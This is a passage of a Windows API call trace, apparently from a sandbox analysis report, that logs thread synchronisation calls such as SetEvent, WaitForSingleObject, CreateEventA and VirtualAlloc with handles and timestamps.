SetEvent (hEvent=0xc8) returned 1 [0261.553] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0263.343] SetEvent (hEvent=0xc8) returned 1 [0264.087] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0265.197] SetEvent (hEvent=0xc8) returned 1 [0265.197] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0266.524] SetEvent (hEvent=0xc8) returned 1 [0266.524] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0268.572] SetEvent (hEvent=0xc8) returned 1 [0268.573] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0270.616] SetEvent (hEvent=0xc8) returned 1 [0270.616] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0273.300] SetEvent (hEvent=0xc8) returned 1 [0273.300] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0278.792] SetEvent (hEvent=0xc8) returned 1 [0278.792] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0287.515] SetEvent (hEvent=0xc8) returned 1 [0287.515] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0289.139] SetEvent (hEvent=0xc8) returned 1 [0289.139] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0292.071] SwitchToThread () returned 1 [0292.203] SetEvent (hEvent=0xc8) returned 1 [0292.203] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0293.758] SetEvent (hEvent=0xc8) returned 1 [0293.758] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0294.775] SetEvent (hEvent=0xc8) returned 1 [0294.775] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0295.966] SetEvent (hEvent=0xc8) returned 1 [0295.966] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0297.151] SetEvent (hEvent=0xec) returned 1 [0297.151] SetEvent (hEvent=0xc8) returned 1 [0297.151] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) Thread: id = 164 os_tid = 0xec [0244.718] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27defda0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27defda0*=0xdc) returned 1 [0244.718] VirtualQuery (in: lpAddress=0x27defdc0, lpBuffer=0x27defdc0, dwLength=0x30 | out: lpBuffer=0x27defdc0*(BaseAddress=0x27def000, AllocationBase=0x27bf0000, AllocationProtect=0x4, __alignment1=0xfffff802, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0244.718] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe0 [0244.718] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4 [0244.718] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0245.631] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000 [0245.632] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) [0297.152] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) Thread: id = 165 os_tid = 0x1314 [0244.855] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27fefda0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27fefda0*=0xe8) returned 1 [0244.855] VirtualQuery (in: lpAddress=0x27fefdc0, lpBuffer=0x27fefdc0, dwLength=0x30 | out: lpBuffer=0x27fefdc0*(BaseAddress=0x27fef000, AllocationBase=0x27df0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0244.855] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xec [0244.855] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0 [0244.855] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0245.623] SetEvent (hEvent=0xd4) returned 1 [0245.623] SetEvent (hEvent=0xc8) returned 1 [0245.623] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) [0297.473] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0298.567] SetEvent (hEvent=0xc8) returned 1 [0298.567] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0299.613] SetEvent (hEvent=0xc8) returned 1 [0299.613] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff)